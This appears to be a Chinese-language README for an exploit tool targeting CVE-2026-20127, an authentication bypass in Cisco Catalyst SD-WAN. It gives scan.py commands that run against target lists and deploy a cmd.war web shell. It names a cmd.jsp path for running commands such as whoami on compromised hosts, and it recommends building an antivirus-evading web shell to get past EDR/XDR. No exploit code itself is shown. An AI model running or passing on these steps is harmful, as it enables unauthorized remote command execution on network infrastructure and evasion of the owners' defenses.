CVE-2026-20127_EXP

Cisco Catalyst SD-WAN 身份验证绕过漏洞(CVE-2026-20127)漏洞利用EXP

基本用法

python scan.py -f targets.txt

显示详细信息

python scan.py -f targets.txt -v

调整线程数并保存结果

python scan.py -f targets.txt -t 10 -o vulnerable.txt

指定WAR文件路径

python scan.py -f targets.txt -w cmd.war

指定WAR文件路径调整线程并保存结果

python scan.py -f targets.txt -w cmd.war t 10 -o vulnerable.txt

=======注意事项========

漏洞复现成功后访问/cmd.gz/cmd.jsp?cmd=whoami 会在页面显示结果

如果需要换成webshell，请自己制作war包（建议使用免杀马，经过测试存在Windows系统会有EDR或XDR）